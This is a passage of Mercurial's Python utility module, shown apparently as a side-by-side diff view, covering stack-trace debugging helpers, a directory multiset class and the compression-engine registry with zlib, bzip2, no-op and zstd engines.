3229 Not be used in production code but very convenient while developing.
3230 '''
3230 '''
3231 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3231 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3232 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3232 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3233 ][-depth:]
3233 ][-depth:]
3234 if entries:
3234 if entries:
3235 fnmax = max(len(entry[0]) for entry in entries)
3235 fnmax = max(len(entry[0]) for entry in entries)
3236 for fnln, func in entries:
3236 for fnln, func in entries:
3237 if line is None:
3237 if line is None:
3238 yield (fnmax, fnln, func)
3238 yield (fnmax, fnln, func)
3239 else:
3239 else:
3240 yield line % (fnmax, fnln, func)
3240 yield line % (fnmax, fnln, func)
3241
3241
3242 def debugstacktrace(msg='stacktrace', skip=0,
3242 def debugstacktrace(msg='stacktrace', skip=0,
3243 f=stderr, otherf=stdout, depth=0):
3243 f=stderr, otherf=stdout, depth=0):
3244 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3244 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3245 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3245 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3246 By default it will flush stdout first.
3246 By default it will flush stdout first.
3247 It can be used everywhere and intentionally does not require an ui object.
3247 It can be used everywhere and intentionally does not require an ui object.
3248 Not be used in production code but very convenient while developing.
3248 Not be used in production code but very convenient while developing.
3249 '''
3249 '''
3250 if otherf:
3250 if otherf:
3251 otherf.flush()
3251 otherf.flush()
3252 f.write('%s at:\n' % msg.rstrip())
3252 f.write('%s at:\n' % msg.rstrip())
3253 for line in getstackframes(skip + 1, depth=depth):
3253 for line in getstackframes(skip + 1, depth=depth):
3254 f.write(line)
3254 f.write(line)
3255 f.flush()
3255 f.flush()
3256
3256
3257 class dirs(object):
3257 class dirs(object):
3258 '''a multiset of directory names from a dirstate or manifest'''
3258 '''a multiset of directory names from a dirstate or manifest'''
3259
3259
3260 def __init__(self, map, skip=None):
3260 def __init__(self, map, skip=None):
3261 self._dirs = {}
3261 self._dirs = {}
3262 addpath = self.addpath
3262 addpath = self.addpath
3263 if safehasattr(map, 'iteritems') and skip is not None:
3263 if safehasattr(map, 'iteritems') and skip is not None:
3264 for f, s in map.iteritems():
3264 for f, s in map.iteritems():
3265 if s[0] != skip:
3265 if s[0] != skip:
3266 addpath(f)
3266 addpath(f)
3267 else:
3267 else:
3268 for f in map:
3268 for f in map:
3269 addpath(f)
3269 addpath(f)
3270
3270
3271 def addpath(self, path):
3271 def addpath(self, path):
3272 dirs = self._dirs
3272 dirs = self._dirs
3273 for base in finddirs(path):
3273 for base in finddirs(path):
3274 if base in dirs:
3274 if base in dirs:
3275 dirs[base] += 1
3275 dirs[base] += 1
3276 return
3276 return
3277 dirs[base] = 1
3277 dirs[base] = 1
3278
3278
3279 def delpath(self, path):
3279 def delpath(self, path):
3280 dirs = self._dirs
3280 dirs = self._dirs
3281 for base in finddirs(path):
3281 for base in finddirs(path):
3282 if dirs[base] > 1:
3282 if dirs[base] > 1:
3283 dirs[base] -= 1
3283 dirs[base] -= 1
3284 return
3284 return
3285 del dirs[base]
3285 del dirs[base]
3286
3286
3287 def __iter__(self):
3287 def __iter__(self):
3288 return iter(self._dirs)
3288 return iter(self._dirs)
3289
3289
3290 def __contains__(self, d):
3290 def __contains__(self, d):
3291 return d in self._dirs
3291 return d in self._dirs
3292
3292
3293 if safehasattr(parsers, 'dirs'):
3293 if safehasattr(parsers, 'dirs'):
3294 dirs = parsers.dirs
3294 dirs = parsers.dirs
3295
3295
3296 def finddirs(path):
3296 def finddirs(path):
3297 pos = path.rfind('/')
3297 pos = path.rfind('/')
3298 while pos != -1:
3298 while pos != -1:
3299 yield path[:pos]
3299 yield path[:pos]
3300 pos = path.rfind('/', 0, pos)
3300 pos = path.rfind('/', 0, pos)
3301
3301
3302 # compression code
3302 # compression code
3303
3303
3304 SERVERROLE = 'server'
3304 SERVERROLE = 'server'
3305 CLIENTROLE = 'client'
3305 CLIENTROLE = 'client'
3306
3306
3307 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3307 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3308 (u'name', u'serverpriority',
3308 (u'name', u'serverpriority',
3309 u'clientpriority'))
3309 u'clientpriority'))
3310
3310
3311 class compressormanager(object):
3311 class compressormanager(object):
3312 """Holds registrations of various compression engines.
3312 """Holds registrations of various compression engines.
3313
3313
3314 This class essentially abstracts the differences between compression
3314 This class essentially abstracts the differences between compression
3315 engines to allow new compression formats to be added easily, possibly from
3315 engines to allow new compression formats to be added easily, possibly from
3316 extensions.
3316 extensions.
3317
3317
3318 Compressors are registered against the global instance by calling its
3318 Compressors are registered against the global instance by calling its
3319 ``register()`` method.
3319 ``register()`` method.
3320 """
3320 """
3321 def __init__(self):
3321 def __init__(self):
3322 self._engines = {}
3322 self._engines = {}
3323 # Bundle spec human name to engine name.
3323 # Bundle spec human name to engine name.
3324 self._bundlenames = {}
3324 self._bundlenames = {}
3325 # Internal bundle identifier to engine name.
3325 # Internal bundle identifier to engine name.
3326 self._bundletypes = {}
3326 self._bundletypes = {}
3327 # Revlog header to engine name.
3327 # Revlog header to engine name.
3328 self._revlogheaders = {}
3328 self._revlogheaders = {}
3329 # Wire proto identifier to engine name.
3329 # Wire proto identifier to engine name.
3330 self._wiretypes = {}
3330 self._wiretypes = {}
3331
3331
3332 def __getitem__(self, key):
3332 def __getitem__(self, key):
3333 return self._engines[key]
3333 return self._engines[key]
3334
3334
3335 def __contains__(self, key):
3335 def __contains__(self, key):
3336 return key in self._engines
3336 return key in self._engines
3337
3337
3338 def __iter__(self):
3338 def __iter__(self):
3339 return iter(self._engines.keys())
3339 return iter(self._engines.keys())
3340
3340
3341 def register(self, engine):
3341 def register(self, engine):
3342 """Register a compression engine with the manager.
3342 """Register a compression engine with the manager.
3343
3343
3344 The argument must be a ``compressionengine`` instance.
3344 The argument must be a ``compressionengine`` instance.
3345 """
3345 """
3346 if not isinstance(engine, compressionengine):
3346 if not isinstance(engine, compressionengine):
3347 raise ValueError(_('argument must be a compressionengine'))
3347 raise ValueError(_('argument must be a compressionengine'))
3348
3348
3349 name = engine.name()
3349 name = engine.name()
3350
3350
3351 if name in self._engines:
3351 if name in self._engines:
3352 raise error.Abort(_('compression engine %s already registered') %
3352 raise error.Abort(_('compression engine %s already registered') %
3353 name)
3353 name)
3354
3354
3355 bundleinfo = engine.bundletype()
3355 bundleinfo = engine.bundletype()
3356 if bundleinfo:
3356 if bundleinfo:
3357 bundlename, bundletype = bundleinfo
3357 bundlename, bundletype = bundleinfo
3358
3358
3359 if bundlename in self._bundlenames:
3359 if bundlename in self._bundlenames:
3360 raise error.Abort(_('bundle name %s already registered') %
3360 raise error.Abort(_('bundle name %s already registered') %
3361 bundlename)
3361 bundlename)
3362 if bundletype in self._bundletypes:
3362 if bundletype in self._bundletypes:
3363 raise error.Abort(_('bundle type %s already registered by %s') %
3363 raise error.Abort(_('bundle type %s already registered by %s') %
3364 (bundletype, self._bundletypes[bundletype]))
3364 (bundletype, self._bundletypes[bundletype]))
3365
3365
3366 # No external facing name declared.
3366 # No external facing name declared.
3367 if bundlename:
3367 if bundlename:
3368 self._bundlenames[bundlename] = name
3368 self._bundlenames[bundlename] = name
3369
3369
3370 self._bundletypes[bundletype] = name
3370 self._bundletypes[bundletype] = name
3371
3371
3372 wiresupport = engine.wireprotosupport()
3372 wiresupport = engine.wireprotosupport()
3373 if wiresupport:
3373 if wiresupport:
3374 wiretype = wiresupport.name
3374 wiretype = wiresupport.name
3375 if wiretype in self._wiretypes:
3375 if wiretype in self._wiretypes:
3376 raise error.Abort(_('wire protocol compression %s already '
3376 raise error.Abort(_('wire protocol compression %s already '
3377 'registered by %s') %
3377 'registered by %s') %
3378 (wiretype, self._wiretypes[wiretype]))
3378 (wiretype, self._wiretypes[wiretype]))
3379
3379
3380 self._wiretypes[wiretype] = name
3380 self._wiretypes[wiretype] = name
3381
3381
3382 revlogheader = engine.revlogheader()
3382 revlogheader = engine.revlogheader()
3383 if revlogheader and revlogheader in self._revlogheaders:
3383 if revlogheader and revlogheader in self._revlogheaders:
3384 raise error.Abort(_('revlog header %s already registered by %s') %
3384 raise error.Abort(_('revlog header %s already registered by %s') %
3385 (revlogheader, self._revlogheaders[revlogheader]))
3385 (revlogheader, self._revlogheaders[revlogheader]))
3386
3386
3387 if revlogheader:
3387 if revlogheader:
3388 self._revlogheaders[revlogheader] = name
3388 self._revlogheaders[revlogheader] = name
3389
3389
3390 self._engines[name] = engine
3390 self._engines[name] = engine
3391
3391
3392 @property
3392 @property
3393 def supportedbundlenames(self):
3393 def supportedbundlenames(self):
3394 return set(self._bundlenames.keys())
3394 return set(self._bundlenames.keys())
3395
3395
3396 @property
3396 @property
3397 def supportedbundletypes(self):
3397 def supportedbundletypes(self):
3398 return set(self._bundletypes.keys())
3398 return set(self._bundletypes.keys())
3399
3399
3400 def forbundlename(self, bundlename):
3400 def forbundlename(self, bundlename):
3401 """Obtain a compression engine registered to a bundle name.
3401 """Obtain a compression engine registered to a bundle name.
3402
3402
3403 Will raise KeyError if the bundle type isn't registered.
3403 Will raise KeyError if the bundle type isn't registered.
3404
3404
3405 Will abort if the engine is known but not available.
3405 Will abort if the engine is known but not available.
3406 """
3406 """
3407 engine = self._engines[self._bundlenames[bundlename]]
3407 engine = self._engines[self._bundlenames[bundlename]]
3408 if not engine.available():
3408 if not engine.available():
3409 raise error.Abort(_('compression engine %s could not be loaded') %
3409 raise error.Abort(_('compression engine %s could not be loaded') %
3410 engine.name())
3410 engine.name())
3411 return engine
3411 return engine
3412
3412
3413 def forbundletype(self, bundletype):
3413 def forbundletype(self, bundletype):
3414 """Obtain a compression engine registered to a bundle type.
3414 """Obtain a compression engine registered to a bundle type.
3415
3415
3416 Will raise KeyError if the bundle type isn't registered.
3416 Will raise KeyError if the bundle type isn't registered.
3417
3417
3418 Will abort if the engine is known but not available.
3418 Will abort if the engine is known but not available.
3419 """
3419 """
3420 engine = self._engines[self._bundletypes[bundletype]]
3420 engine = self._engines[self._bundletypes[bundletype]]
3421 if not engine.available():
3421 if not engine.available():
3422 raise error.Abort(_('compression engine %s could not be loaded') %
3422 raise error.Abort(_('compression engine %s could not be loaded') %
3423 engine.name())
3423 engine.name())
3424 return engine
3424 return engine
3425
3425
3426 def supportedwireengines(self, role, onlyavailable=True):
3426 def supportedwireengines(self, role, onlyavailable=True):
3427 """Obtain compression engines that support the wire protocol.
3427 """Obtain compression engines that support the wire protocol.
3428
3428
3429 Returns a list of engines in prioritized order, most desired first.
3429 Returns a list of engines in prioritized order, most desired first.
3430
3430
3431 If ``onlyavailable`` is set, filter out engines that can't be
3431 If ``onlyavailable`` is set, filter out engines that can't be
3432 loaded.
3432 loaded.
3433 """
3433 """
3434 assert role in (SERVERROLE, CLIENTROLE)
3434 assert role in (SERVERROLE, CLIENTROLE)
3435
3435
3436 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3436 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3437
3437
3438 engines = [self._engines[e] for e in self._wiretypes.values()]
3438 engines = [self._engines[e] for e in self._wiretypes.values()]
3439 if onlyavailable:
3439 if onlyavailable:
3440 engines = [e for e in engines if e.available()]
3440 engines = [e for e in engines if e.available()]
3441
3441
3442 def getkey(e):
3442 def getkey(e):
3443 # Sort first by priority, highest first. In case of tie, sort
3443 # Sort first by priority, highest first. In case of tie, sort
3444 # alphabetically. This is arbitrary, but ensures output is
3444 # alphabetically. This is arbitrary, but ensures output is
3445 # stable.
3445 # stable.
3446 w = e.wireprotosupport()
3446 w = e.wireprotosupport()
3447 return -1 * getattr(w, attr), w.name
3447 return -1 * getattr(w, attr), w.name
3448
3448
3449 return list(sorted(engines, key=getkey))
3449 return list(sorted(engines, key=getkey))
3450
3450
3451 def forwiretype(self, wiretype):
3451 def forwiretype(self, wiretype):
3452 engine = self._engines[self._wiretypes[wiretype]]
3452 engine = self._engines[self._wiretypes[wiretype]]
3453 if not engine.available():
3453 if not engine.available():
3454 raise error.Abort(_('compression engine %s could not be loaded') %
3454 raise error.Abort(_('compression engine %s could not be loaded') %
3455 engine.name())
3455 engine.name())
3456 return engine
3456 return engine
3457
3457
3458 def forrevlogheader(self, header):
3458 def forrevlogheader(self, header):
3459 """Obtain a compression engine registered to a revlog header.
3459 """Obtain a compression engine registered to a revlog header.
3460
3460
3461 Will raise KeyError if the revlog header value isn't registered.
3461 Will raise KeyError if the revlog header value isn't registered.
3462 """
3462 """
3463 return self._engines[self._revlogheaders[header]]
3463 return self._engines[self._revlogheaders[header]]
3464
3464
3465 compengines = compressormanager()
3465 compengines = compressormanager()
3466
3466
3467 class compressionengine(object):
3467 class compressionengine(object):
3468 """Base class for compression engines.
3468 """Base class for compression engines.
3469
3469
3470 Compression engines must implement the interface defined by this class.
3470 Compression engines must implement the interface defined by this class.
3471 """
3471 """
3472 def name(self):
3472 def name(self):
3473 """Returns the name of the compression engine.
3473 """Returns the name of the compression engine.
3474
3474
3475 This is the key the engine is registered under.
3475 This is the key the engine is registered under.
3476
3476
3477 This method must be implemented.
3477 This method must be implemented.
3478 """
3478 """
3479 raise NotImplementedError()
3479 raise NotImplementedError()
3480
3480
3481 def available(self):
3481 def available(self):
3482 """Whether the compression engine is available.
3482 """Whether the compression engine is available.
3483
3483
3484 The intent of this method is to allow optional compression engines
3484 The intent of this method is to allow optional compression engines
3485 that may not be available in all installations (such as engines relying
3485 that may not be available in all installations (such as engines relying
3486 on C extensions that may not be present).
3486 on C extensions that may not be present).
3487 """
3487 """
3488 return True
3488 return True
3489
3489
3490 def bundletype(self):
3490 def bundletype(self):
3491 """Describes bundle identifiers for this engine.
3491 """Describes bundle identifiers for this engine.
3492
3492
3493 If this compression engine isn't supported for bundles, returns None.
3493 If this compression engine isn't supported for bundles, returns None.
3494
3494
3495 If this engine can be used for bundles, returns a 2-tuple of strings of
3495 If this engine can be used for bundles, returns a 2-tuple of strings of
3496 the user-facing "bundle spec" compression name and an internal
3496 the user-facing "bundle spec" compression name and an internal
3497 identifier used to denote the compression format within bundles. To
3497 identifier used to denote the compression format within bundles. To
3498 exclude the name from external usage, set the first element to ``None``.
3498 exclude the name from external usage, set the first element to ``None``.
3499
3499
3500 If bundle compression is supported, the class must also implement
3500 If bundle compression is supported, the class must also implement
3501 ``compressstream`` and `decompressorreader``.
3501 ``compressstream`` and `decompressorreader``.
3502
3502
3503 The docstring of this method is used in the help system to tell users
3503 The docstring of this method is used in the help system to tell users
3504 about this engine.
3504 about this engine.
3505 """
3505 """
3506 return None
3506 return None
3507
3507
3508 def wireprotosupport(self):
3508 def wireprotosupport(self):
3509 """Declare support for this compression format on the wire protocol.
3509 """Declare support for this compression format on the wire protocol.
3510
3510
3511 If this compression engine isn't supported for compressing wire
3511 If this compression engine isn't supported for compressing wire
3512 protocol payloads, returns None.
3512 protocol payloads, returns None.
3513
3513
3514 Otherwise, returns ``compenginewireprotosupport`` with the following
3514 Otherwise, returns ``compenginewireprotosupport`` with the following
3515 fields:
3515 fields:
3516
3516
3517 * String format identifier
3517 * String format identifier
3518 * Integer priority for the server
3518 * Integer priority for the server
3519 * Integer priority for the client
3519 * Integer priority for the client
3520
3520
3521 The integer priorities are used to order the advertisement of format
3521 The integer priorities are used to order the advertisement of format
3522 support by server and client. The highest integer is advertised
3522 support by server and client. The highest integer is advertised
3523 first. Integers with non-positive values aren't advertised.
3523 first. Integers with non-positive values aren't advertised.
3524
3524
3525 The priority values are somewhat arbitrary and only used for default
3525 The priority values are somewhat arbitrary and only used for default
3526 ordering. The relative order can be changed via config options.
3526 ordering. The relative order can be changed via config options.
3527
3527
3528 If wire protocol compression is supported, the class must also implement
3528 If wire protocol compression is supported, the class must also implement
3529 ``compressstream`` and ``decompressorreader``.
3529 ``compressstream`` and ``decompressorreader``.
3530 """
3530 """
3531 return None
3531 return None
3532
3532
3533 def revlogheader(self):
3533 def revlogheader(self):
3534 """Header added to revlog chunks that identifies this engine.
3534 """Header added to revlog chunks that identifies this engine.
3535
3535
3536 If this engine can be used to compress revlogs, this method should
3536 If this engine can be used to compress revlogs, this method should
3537 return the bytes used to identify chunks compressed with this engine.
3537 return the bytes used to identify chunks compressed with this engine.
3538 Else, the method should return ``None`` to indicate it does not
3538 Else, the method should return ``None`` to indicate it does not
3539 participate in revlog compression.
3539 participate in revlog compression.
3540 """
3540 """
3541 return None
3541 return None
3542
3542
3543 def compressstream(self, it, opts=None):
3543 def compressstream(self, it, opts=None):
3544 """Compress an iterator of chunks.
3544 """Compress an iterator of chunks.
3545
3545
3546 The method receives an iterator (ideally a generator) of chunks of
3546 The method receives an iterator (ideally a generator) of chunks of
3547 bytes to be compressed. It returns an iterator (ideally a generator)
3547 bytes to be compressed. It returns an iterator (ideally a generator)
3548 of bytes of chunks representing the compressed output.
3548 of bytes of chunks representing the compressed output.
3549
3549
3550 Optionally accepts an argument defining how to perform compression.
3550 Optionally accepts an argument defining how to perform compression.
3551 Each engine treats this argument differently.
3551 Each engine treats this argument differently.
3552 """
3552 """
3553 raise NotImplementedError()
3553 raise NotImplementedError()
3554
3554
3555 def decompressorreader(self, fh):
3555 def decompressorreader(self, fh):
3556 """Perform decompression on a file object.
3556 """Perform decompression on a file object.
3557
3557
3558 Argument is an object with a ``read(size)`` method that returns
3558 Argument is an object with a ``read(size)`` method that returns
3559 compressed data. Return value is an object with a ``read(size)`` that
3559 compressed data. Return value is an object with a ``read(size)`` that
3560 returns uncompressed data.
3560 returns uncompressed data.
3561 """
3561 """
3562 raise NotImplementedError()
3562 raise NotImplementedError()
3563
3563
3564 def revlogcompressor(self, opts=None):
3564 def revlogcompressor(self, opts=None):
3565 """Obtain an object that can be used to compress revlog entries.
3565 """Obtain an object that can be used to compress revlog entries.
3566
3566
3567 The object has a ``compress(data)`` method that compresses binary
3567 The object has a ``compress(data)`` method that compresses binary
3568 data. This method returns compressed binary data or ``None`` if
3568 data. This method returns compressed binary data or ``None`` if
3569 the data could not be compressed (too small, not compressible, etc).
3569 the data could not be compressed (too small, not compressible, etc).
3570 The returned data should have a header uniquely identifying this
3570 The returned data should have a header uniquely identifying this
3571 compression format so decompression can be routed to this engine.
3571 compression format so decompression can be routed to this engine.
3572 This header should be identified by the ``revlogheader()`` return
3572 This header should be identified by the ``revlogheader()`` return
3573 value.
3573 value.
3574
3574
3575 The object has a ``decompress(data)`` method that decompresses
3575 The object has a ``decompress(data)`` method that decompresses
3576 data. The method will only be called if ``data`` begins with
3576 data. The method will only be called if ``data`` begins with
3577 ``revlogheader()``. The method should return the raw, uncompressed
3577 ``revlogheader()``. The method should return the raw, uncompressed
3578 data or raise a ``RevlogError``.
3578 data or raise a ``RevlogError``.
3579
3579
3580 The object is reusable but is not thread safe.
3580 The object is reusable but is not thread safe.
3581 """
3581 """
3582 raise NotImplementedError()
3582 raise NotImplementedError()
3583
3583
3584 class _zlibengine(compressionengine):
3584 class _zlibengine(compressionengine):
3585 def name(self):
3585 def name(self):
3586 return 'zlib'
3586 return 'zlib'
3587
3587
3588 def bundletype(self):
3588 def bundletype(self):
3589 """zlib compression using the DEFLATE algorithm.
3589 """zlib compression using the DEFLATE algorithm.
3590
3590
3591 All Mercurial clients should support this format. The compression
3591 All Mercurial clients should support this format. The compression
3592 algorithm strikes a reasonable balance between compression ratio
3592 algorithm strikes a reasonable balance between compression ratio
3593 and size.
3593 and size.
3594 """
3594 """
3595 return 'gzip', 'GZ'
3595 return 'gzip', 'GZ'
3596
3596
3597 def wireprotosupport(self):
3597 def wireprotosupport(self):
3598 return compewireprotosupport('zlib', 20, 20)
3598 return compewireprotosupport('zlib', 20, 20)
3599
3599
3600 def revlogheader(self):
3600 def revlogheader(self):
3601 return 'x'
3601 return 'x'
3602
3602
3603 def compressstream(self, it, opts=None):
3603 def compressstream(self, it, opts=None):
3604 opts = opts or {}
3604 opts = opts or {}
3605
3605
3606 z = zlib.compressobj(opts.get('level', -1))
3606 z = zlib.compressobj(opts.get('level', -1))
3607 for chunk in it:
3607 for chunk in it:
3608 data = z.compress(chunk)
3608 data = z.compress(chunk)
3609 # Not all calls to compress emit data. It is cheaper to inspect
3609 # Not all calls to compress emit data. It is cheaper to inspect
3610 # here than to feed empty chunks through generator.
3610 # here than to feed empty chunks through generator.
3611 if data:
3611 if data:
3612 yield data
3612 yield data
3613
3613
3614 yield z.flush()
3614 yield z.flush()
3615
3615
3616 def decompressorreader(self, fh):
3616 def decompressorreader(self, fh):
3617 def gen():
3617 def gen():
3618 d = zlib.decompressobj()
3618 d = zlib.decompressobj()
3619 for chunk in filechunkiter(fh):
3619 for chunk in filechunkiter(fh):
3620 while chunk:
3620 while chunk:
3621 # Limit output size to limit memory.
3621 # Limit output size to limit memory.
3622 yield d.decompress(chunk, 2 ** 18)
3622 yield d.decompress(chunk, 2 ** 18)
3623 chunk = d.unconsumed_tail
3623 chunk = d.unconsumed_tail
3624
3624
3625 return chunkbuffer(gen())
3625 return chunkbuffer(gen())
3626
3626
3627 class zlibrevlogcompressor(object):
3627 class zlibrevlogcompressor(object):
3628 def compress(self, data):
3628 def compress(self, data):
3629 insize = len(data)
3629 insize = len(data)
3630 # Caller handles empty input case.
3630 # Caller handles empty input case.
3631 assert insize > 0
3631 assert insize > 0
3632
3632
3633 if insize < 44:
3633 if insize < 44:
3634 return None
3634 return None
3635
3635
3636 elif insize <= 1000000:
3636 elif insize <= 1000000:
3637 compressed = zlib.compress(data)
3637 compressed = zlib.compress(data)
3638 if len(compressed) < insize:
3638 if len(compressed) < insize:
3639 return compressed
3639 return compressed
3640 return None
3640 return None
3641
3641
3642 # zlib makes an internal copy of the input buffer, doubling
3642 # zlib makes an internal copy of the input buffer, doubling
3643 # memory usage for large inputs. So do streaming compression
3643 # memory usage for large inputs. So do streaming compression
3644 # on large inputs.
3644 # on large inputs.
3645 else:
3645 else:
3646 z = zlib.compressobj()
3646 z = zlib.compressobj()
3647 parts = []
3647 parts = []
3648 pos = 0
3648 pos = 0
3649 while pos < insize:
3649 while pos < insize:
3650 pos2 = pos + 2**20
3650 pos2 = pos + 2**20
3651 parts.append(z.compress(data[pos:pos2]))
3651 parts.append(z.compress(data[pos:pos2]))
3652 pos = pos2
3652 pos = pos2
3653 parts.append(z.flush())
3653 parts.append(z.flush())
3654
3654
3655 if sum(map(len, parts)) < insize:
3655 if sum(map(len, parts)) < insize:
3656 return ''.join(parts)
3656 return ''.join(parts)
3657 return None
3657 return None
3658
3658
3659 def decompress(self, data):
3659 def decompress(self, data):
3660 try:
3660 try:
3661 return zlib.decompress(data)
3661 return zlib.decompress(data)
3662 except zlib.error as e:
3662 except zlib.error as e:
3663 raise error.RevlogError(_('revlog decompress error: %s') %
3663 raise error.RevlogError(_('revlog decompress error: %s') %
3664 forcebytestr(e))
3664 forcebytestr(e))
3665
3665
3666 def revlogcompressor(self, opts=None):
3666 def revlogcompressor(self, opts=None):
3667 return self.zlibrevlogcompressor()
3667 return self.zlibrevlogcompressor()
3668
3668
3669 compengines.register(_zlibengine())
3669 compengines.register(_zlibengine())
3670
3670
3671 class _bz2engine(compressionengine):
3671 class _bz2engine(compressionengine):
3672 def name(self):
3672 def name(self):
3673 return 'bz2'
3673 return 'bz2'
3674
3674
3675 def bundletype(self):
3675 def bundletype(self):
3676 """An algorithm that produces smaller bundles than ``gzip``.
3676 """An algorithm that produces smaller bundles than ``gzip``.
3677
3677
3678 All Mercurial clients should support this format.
3678 All Mercurial clients should support this format.
3679
3679
3680 This engine will likely produce smaller bundles than ``gzip`` but
3680 This engine will likely produce smaller bundles than ``gzip`` but
3681 will be significantly slower, both during compression and
3681 will be significantly slower, both during compression and
3682 decompression.
3682 decompression.
3683
3683
3684 If available, the ``zstd`` engine can yield similar or better
3684 If available, the ``zstd`` engine can yield similar or better
3685 compression at much higher speeds.
3685 compression at much higher speeds.
3686 """
3686 """
3687 return 'bzip2', 'BZ'
3687 return 'bzip2', 'BZ'
3688
3688
3689 # We declare a protocol name but don't advertise by default because
3689 # We declare a protocol name but don't advertise by default because
3690 # it is slow.
3690 # it is slow.
3691 def wireprotosupport(self):
3691 def wireprotosupport(self):
3692 return compewireprotosupport('bzip2', 0, 0)
3692 return compewireprotosupport('bzip2', 0, 0)
3693
3693
3694 def compressstream(self, it, opts=None):
3694 def compressstream(self, it, opts=None):
3695 opts = opts or {}
3695 opts = opts or {}
3696 z = bz2.BZ2Compressor(opts.get('level', 9))
3696 z = bz2.BZ2Compressor(opts.get('level', 9))
3697 for chunk in it:
3697 for chunk in it:
3698 data = z.compress(chunk)
3698 data = z.compress(chunk)
3699 if data:
3699 if data:
3700 yield data
3700 yield data
3701
3701
3702 yield z.flush()
3702 yield z.flush()
3703
3703
3704 def decompressorreader(self, fh):
3704 def decompressorreader(self, fh):
3705 def gen():
3705 def gen():
3706 d = bz2.BZ2Decompressor()
3706 d = bz2.BZ2Decompressor()
3707 for chunk in filechunkiter(fh):
3707 for chunk in filechunkiter(fh):
3708 yield d.decompress(chunk)
3708 yield d.decompress(chunk)
3709
3709
3710 return chunkbuffer(gen())
3710 return chunkbuffer(gen())
3711
3711
3712 compengines.register(_bz2engine())
3712 compengines.register(_bz2engine())
3713
3713
3714 class _truncatedbz2engine(compressionengine):
3714 class _truncatedbz2engine(compressionengine):
3715 def name(self):
3715 def name(self):
3716 return 'bz2truncated'
3716 return 'bz2truncated'
3717
3717
3718 def bundletype(self):
3718 def bundletype(self):
3719 return None, '_truncatedBZ'
3719 return None, '_truncatedBZ'
3720
3720
3721 # We don't implement compressstream because it is hackily handled elsewhere.
3721 # We don't implement compressstream because it is hackily handled elsewhere.
3722
3722
3723 def decompressorreader(self, fh):
3723 def decompressorreader(self, fh):
3724 def gen():
3724 def gen():
3725 # The input stream doesn't have the 'BZ' header. So add it back.
3725 # The input stream doesn't have the 'BZ' header. So add it back.
3726 d = bz2.BZ2Decompressor()
3726 d = bz2.BZ2Decompressor()
3727 d.decompress('BZ')
3727 d.decompress('BZ')
3728 for chunk in filechunkiter(fh):
3728 for chunk in filechunkiter(fh):
3729 yield d.decompress(chunk)
3729 yield d.decompress(chunk)
3730
3730
3731 return chunkbuffer(gen())
3731 return chunkbuffer(gen())
3732
3732
3733 compengines.register(_truncatedbz2engine())
3733 compengines.register(_truncatedbz2engine())
3734
3734
3735 class _noopengine(compressionengine):
3735 class _noopengine(compressionengine):
3736 def name(self):
3736 def name(self):
3737 return 'none'
3737 return 'none'
3738
3738
3739 def bundletype(self):
3739 def bundletype(self):
3740 """No compression is performed.
3740 """No compression is performed.
3741
3741
3742 Use this compression engine to explicitly disable compression.
3742 Use this compression engine to explicitly disable compression.
3743 """
3743 """
3744 return 'none', 'UN'
3744 return 'none', 'UN'
3745
3745
3746 # Clients always support uncompressed payloads. Servers don't because
3746 # Clients always support uncompressed payloads. Servers don't because
3747 # unless you are on a fast network, uncompressed payloads can easily
3747 # unless you are on a fast network, uncompressed payloads can easily
3748 # saturate your network pipe.
3748 # saturate your network pipe.
3749 def wireprotosupport(self):
3749 def wireprotosupport(self):
3750 return compewireprotosupport('none', 0, 10)
3750 return compewireprotosupport('none', 0, 10)
3751
3751
3752 # We don't implement revlogheader because it is handled specially
3752 # We don't implement revlogheader because it is handled specially
3753 # in the revlog class.
3753 # in the revlog class.
3754
3754
3755 def compressstream(self, it, opts=None):
3755 def compressstream(self, it, opts=None):
3756 return it
3756 return it
3757
3757
3758 def decompressorreader(self, fh):
3758 def decompressorreader(self, fh):
3759 return fh
3759 return fh
3760
3760
3761 class nooprevlogcompressor(object):
3761 class nooprevlogcompressor(object):
3762 def compress(self, data):
3762 def compress(self, data):
3763 return None
3763 return None
3764
3764
3765 def revlogcompressor(self, opts=None):
3765 def revlogcompressor(self, opts=None):
3766 return self.nooprevlogcompressor()
3766 return self.nooprevlogcompressor()
3767
3767
3768 compengines.register(_noopengine())
3768 compengines.register(_noopengine())
3769
3769
3770 class _zstdengine(compressionengine):
3770 class _zstdengine(compressionengine):
3771 def name(self):
3771 def name(self):
3772 return 'zstd'
3772 return 'zstd'
3773
3773
3774 @propertycache
3774 @propertycache
3775 def _module(self):
3775 def _module(self):
3776 # Not all installs have the zstd module available. So defer importing
3776 # Not all installs have the zstd module available. So defer importing
3777 # until first access.
3777 # until first access.
3778 try:
3778 try:
3779 from . import zstd
3779 from . import zstd
3780 # Force delayed import.
3780 # Force delayed import.
3781 zstd.__version__
3781 zstd.__version__
3782 return zstd
3782 return zstd
3783 except ImportError:
3783 except ImportError:
3784 return None
3784 return None
3785
3785
3786 def available(self):
3786 def available(self):
3787 return bool(self._module)
3787 return bool(self._module)
3788
3788
3789 def bundletype(self):
3789 def bundletype(self):
3790 """A modern compression algorithm that is fast and highly flexible.
3790 """A modern compression algorithm that is fast and highly flexible.
3791
3791
3792 Only supported by Mercurial 4.1 and newer clients.
3792 Only supported by Mercurial 4.1 and newer clients.
3793
3793
3794 With the default settings, zstd compression is both faster and yields
3794 With the default settings, zstd compression is both faster and yields
3795 better compression than ``gzip``. It also frequently yields better
3795 better compression than ``gzip``. It also frequently yields better
3796 compression than ``bzip2`` while operating at much higher speeds.
3796 compression than ``bzip2`` while operating at much higher speeds.
3797
3797
3798 If this engine is available and backwards compatibility is not a
3798 If this engine is available and backwards compatibility is not a
3799 concern, it is likely the best available engine.
3799 concern, it is likely the best available engine.
3800 """
3800 """
3801 return 'zstd', 'ZS'
3801 return 'zstd', 'ZS'
3802
3802
3803 def wireprotosupport(self):
3803 def wireprotosupport(self):
3804 return compewireprotosupport('zstd', 50, 50)
